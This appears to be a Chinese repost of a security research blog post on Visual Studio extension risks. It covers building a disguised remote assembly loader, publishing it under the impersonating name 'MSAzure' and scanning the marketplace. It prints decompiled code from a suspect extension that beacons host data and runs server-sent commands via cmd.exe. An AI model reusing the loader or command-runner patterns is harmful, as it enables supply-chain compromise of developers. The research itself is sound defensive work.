乐于分享
好东西不私藏

Visual Studio 插件安全:三年过去了,状况更糟了

Visual Studio 插件安全:三年过去了,状况更糟了
三年前我们研究了 VS Code 插件如何被用于红队渗透,结果相当吓人。现在轮到它的老大哥 Visual Studio 了。结论说出来可能你不信——这个生态系统的安全性比三年前还要烂。我们不仅手把手构建了一个能远程加载恶意代码的“正规”插件,还成功绕过了微软应用商店的所有审查,把后门伪装成 JSON 格式化工具公开上架。随后用自动化脚本把市场里近万个插件扫了一遍,结果发现一个疑似早已部署的后门程序,正在默默收集主机信息并等待远程指令。

开场白

几年前我们搞过一次研究,看怎么拿 VS Code 插件当跳板打内网。那时候就觉得,这玩意儿安全隐患太大了。三年过去了,GitHub 自己都被一个植入了木马的 VS Code 插件搞了。这就让人不得不好奇:VS Code 的大哥 Visual Studio,它的插件生态到底怎么样?

说真的,三年时间,按理说微软早该把这些问题收拾干净了。但如果你不想看长篇大论,我就直接告诉你结论:现状简直是一团糟。

怎么造一个 Visual Studio 恶意插件

Visual Studio 插件主要分两种:老派的 VSSDK 插件跑在 devenv.exe 进程里,权限大但容易搞崩 IDE,装完还得重启。另一种叫 VisualStudio.Extensibility,用现代 .NET 写的,主打进程外运行,号称更稳定、更可靠。

我们就拿第二种开刀。Visual Studio 还贴心地给开发者准备了模板:

模板代码很简单,目标框架 net8.0,一触发就弹个 MessageBox:

using Microsoft;
using Microsoft.VisualStudio.Extensibility;
using Microsoft.VisualStudio.Extensibility.Commands;
using Microsoft.VisualStudio.Extensibility.Shell;
using System.Diagnostics;

namespace HelloWorldExtension
{
    ///
    /// Command1 handler.
    ///
    [VisualStudioContribution]
    internal class Command1 : Command
    {
        private readonly TraceSource logger;
        public Command1(TraceSource traceSource)
        {
            this.logger = Requires.NotNull(traceSource, nameof(traceSource));
        }
        public override CommandConfiguration CommandConfiguration => new("%HelloWorldExtension.Command1.DisplayName%")
        {
            Icon = new(ImageMoniker.KnownValues.Extension, IconSettings.IconAndText),
            Placements = [CommandPlacement.KnownPlacements.ExtensionsMenu]
        };
        public override async Task ExecuteCommandAsync(IClientContext context, CancellationToken cancellationToken)
        {
            await this.Extensibility.Shell().ShowPromptAsync("Hello from an extension!", PromptOptions.OK, cancellationToken);
        }
    }
}

插件部署后会注册一条命令,用户从扩展菜单点它的时候触发 ExecuteCommandAsync:

能弹个窗证明代码能跑,这当然有用,但红队干活讲究的是低调。我们得让插件在后台自动触发。微软的文档里写了两种文本视图监听器:ITextViewChangedListener 和 ITextViewOpenClosedListener,能监控编辑器里文件的打开、关闭和修改。

用 ITextViewOpenClosedListener 做一个插件,每次有人在 Visual Studio 里打开文件,代码就自动跑起来。我们加了个过滤,只在打开 JSON 文件时触发,顺手还给它塞了个格式化 JSON 的功能当伪装:

using Microsoft.VisualStudio.Extensibility;
using Microsoft.VisualStudio.Extensibility.Editor;
using System.Diagnostics;
using System.Reflection;
using System.Text.Json;

namespace PrettyJson
{
    [VisualStudioContribution]
    internal class JsonAutoFormatListener : ExtensionPart, ITextViewOpenClosedListener
    {
        private static readonly JsonSerializerOptions PrettyOptions = new()
        {
            WriteIndented = true,
        };
        public JsonAutoFormatListener(TraceSource traceSource) { this.logger = traceSource; }
        public TextViewExtensionConfiguration TextViewExtensionConfiguration => new()
        {
            AppliesTo = [DocumentFilter.FromDocumentType("json")],
        };
        // ... 省略格式化和替换逻辑
    }
}

到这一步,它还是个正经的 JSON 格式化插件。接下来加料,把 TextViewOpenedAsync 里塞几行代码,让它变成远程程序集加载器:

try
{
    var plain = await FetchUpdateAsync("");
    LoadUpdate(plain, new[] { "" });
}
catch (Exception ex) { }

FetchUpdateAsync 和 LoadUpdate 的逻辑不复杂:从一个远程 URL 拉一串 Base64 编码的数据,解码成字节数组,用反射加载成程序集,找到入口点就执行。跑在 ServiceHub.Host.Extensibility.arm64.exe 这个进程里,完全脱离了 IDE 的主进程。

监听器触发时,扩展以 DLL 形式从扩展目录加载:

把“后门”发布到 Visual Studio 官方商店

插件能执行远程代码了,下一步得想办法把它塞进 Visual Studio 的官方商店。这部分我们三年前研究 VS Code 时聊过,但得重新验证一下微软这三年到底加了什么防护措施。

注册商店发布者,随便搞个 outlook.com 账号就行,我用的一次性邮箱。登录后系统会让你创建一个发布者(Publisher):

和之前一样,对发布者名称几乎不做校验,只要不跟已有的重名、不碰那几个保留关键词就行。想注册一个叫 Microsoft 或 Azure 的发布者名字,系统会拦住:

除此之外,基本没什么限制。你可以发挥想象力,比如我们注册的叫 MSAzure:

发布者弄好之后就能创建扩展了。过程简单到令人发指:上传一个 Release 编译生成的 VSIX 文件就行:

上传后微软好像会跑一些验证检查,具体查什么不知道,但肯定跟安全无关。反正我们那个带远程加载功能的“JSON 格式化工具”,毫无阻碍地就上架了,对所有用户公开可安装:

扩展的攻击面有多大

跟 VS Code 比起来,Visual Studio 的攻击面稍微小一点,因为没找到能直接触发插件安装的 URL 协议处理器(也可能是我没找到)。攻击路径大概就这几条:

  • 把 VSIX 文件附在钓鱼邮件里发给目标
  • 诱骗目标从网页商店下载,比如 marketplace.visualstudio.com/items?itemName=MSAzure.visualstudio
  • 直接在 Visual Studio 内嵌的扩展浏览器里搜索安装

第三种方式长这样:

不管哪种方式,安装时 Visual Studio Installer 都会弹出来:

如果插件设置成“为所有用户安装”,可能会触发 UAC 提权,最终部署到 Program Files 目录:

从商店安装时,VSIX 文件会被丢到 %LOCALAPPDATA%\Temp,安装参数类似下面这样。安全团队回溯排查时,这些信息可能有用:

最可能被利用的感染路径有两条:一是攻击现有的、有大量用户的正规插件(GitHub 就是这么中招的),二是从零开始慢慢养一个新插件积累安装量。两条路都是正经的供应链攻击。问题在于,开发环境本身就被赋予了大量特权——要能运行代码、调试、写脚本、执行反射——所以这类攻击混在里面很难被发现。

把整个市场翻一遍

搞清楚了攻击面,我们就想知道:现在市场上到底有没有恶意插件在活动?

扫了一眼,Visual Studio 商店大概有近一万个扩展。人工一个个看完全不现实,得搞一套自动化分析流程。我们搭了一个五步流水线:

  • 采集:用商店 API 把非 VS Code 的经典 Visual Studio 扩展全拉下来,按资产类型过滤,筛出 9910 个,其中 8566 个是 VSIX 格式。
  • 解包:把每个 VSIX 文件解压,解析 manifest,识别代码执行入口。
  • 反编译与特征提取:用 ilspycmd 反编译所有 8566 个扩展,过滤掉第三方依赖库,只分析扩展自己的代码。分两条线跑——凭证线索用正则扫密码存储路径(Chrome 密码、Firefox 登录数据、AWS 凭证、Windows Credential Manager 等);行为线索用滑动窗口找“读取后发送”“编码后发送”“下载后执行”等可疑操作组合。这一步筛出 1153 个需要重点关注的扩展。
  • LLM 初筛:1153 个还是太多。把每个扩展的反编译代码、行为聚类结果、凭证路径匹配、以及它在商店里声称的功能描述一起丢给 Claude Opus,让它判断这些行为跟声称的功能能不能对得上。
  • 深度调查:LLM 认为可疑的,再把全部反编译代码喂给它,开放文件读取和搜索工具让它查。

这套流程主要是周末搞着玩的,结果没预想的那么“丰收”——似乎恶意软件还没大举入侵 Visual Studio 商店,尽管防护措施形同虚设。不过确实翻出几个有意思的东西,包括我们自己的 MSAzure/PrettyJson 也被逮住了:

  • 0x12DarkDevelopment/shellcodeEncryption:太直白了,触发了行为检测。查下来发现是个恶意软件开发培训课的产物。
  • CELBuildTeam/EntraBuildAssistant:一开始看着可疑,往 azurewebsites 发机器信息,然后根据响应跑计划任务。细看好像是微软内部的遥测应用,不该出现在公开商店里。
  • K1tty/RockMargin:也是收集主机信息(主机名、IP)发到一个硬编码 IP,触发检测。人工复查发现还是遥测,没直接恶意。

最可疑的发现:FVsEx

真正让人皱眉的是 thevs-publisher-1477920/FVsEx。这个扩展有明显的后门特征,基本可以判定是恶意的。

它启动后会收集主机信息,包括内网 IP,往 qweq.xyz 发:

public static void Access(string name, string content)
{
    HttpWebRequest httpWebRequest = WebRequest.CreateHttp(string.Concat("..." + "&name=" + name, "&ip=", GetIp()));
    httpWebRequest.Method = "GET";
    using WebResponse webResponse = httpWebRequest.GetResponse();
    using StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
    Console.WriteLine("Statistics:" + streamReader.ReadToEnd());
}

更过分的是 TryGetTips 方法。它往 http://fvsex/Statistics/?macAddr= 发 HTTP 请求,从返回内容里解析命令,然后直接丢给 cmd.exe 执行:

private static void TryGetTips(object args)
{
    try
    {
        string text = BitConverter.ToString(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().GetAddressBytes());
        string[] array = new StreamReader(((HttpWebResponse)WebRequest.Create("" + text).GetResponse()).GetResponseStream()).ReadToEnd().Split(new char[1] { '|' });
        if (array.Length != 0)
        {
            switch (array[0])
            {
                case "cmd":
                    Process process = new Process();
                    process.StartInfo.FileName = "cmd.exe";
                    // ...
                    process.StandardInput.WriteLine(array[1] + "&exit");
                    break;
            }
        }
    }
    catch (Exception) { }
}

我们想不出这功能有任何正当理由。但主机名硬编码成 fvsex,一时也看不出来攻击者怎么利用它。

得说明几点:我们只查了每个扩展的最新版本,只有匹配了明显可疑字符串的才进入深度分析。如果恶意代码做了混淆、加壳,或者用了更隐蔽的手法,大概率会漏过去。想把分析做得更全面完全没问题,前提是你愿意烧 Token。

虽然在商店里没抓到活跃的恶意软件,但说实话,也许只是我们来得太早。再等三年看看?


参考资料

[1] https://x.com/domchell

[2] https://www.mdsec.co.uk/2026/05/visual-studio-extensions-revisited/